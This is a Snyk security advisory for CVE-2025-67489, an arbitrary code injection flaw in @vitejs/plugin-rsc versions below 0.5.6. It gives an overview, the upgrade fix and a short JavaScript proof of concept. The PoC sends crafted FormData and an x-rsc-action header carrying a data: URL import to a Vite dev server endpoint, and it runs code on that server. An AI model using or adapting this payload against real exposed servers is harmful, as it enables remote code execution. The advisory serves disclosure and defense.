Arbitrary Code Injection Affecting @vitejs/plugin-rsc package, versions <0.5.6
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-VITEJSPLUGINRSC-14236608
- published9 Dec 2025
- disclosed8 Dec 2025
- creditUnknown
Introduced: 8 Dec 2025
CVE-2025-67489 (opens in a new tab)How to fix?
Upgrade @vitejs/plugin-rsc to version 0.5.6 or higher.
Overview
@vitejs/plugin-rsc is a React Server Components (RSC) support for Vite.
Affected versions of this package are vulnerable to Arbitrary Code Injection via unsafe dynamic imports in the loadServerAction, decodeReply, and decodeAction server APIs. An attacker can execute arbitrary JavaScript code with Node.js privileges by sending crafted HTTP requests to the development server endpoints.
Exposed development servers, such as those running with the vite --host option, are vulnerable.
PoC
const payload = {
0: ["$F1"],
1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
fd.append(key, JSON.stringify(payload[key]));
}
const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
method: "POST",
headers: {
"x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
},
body: fd,
})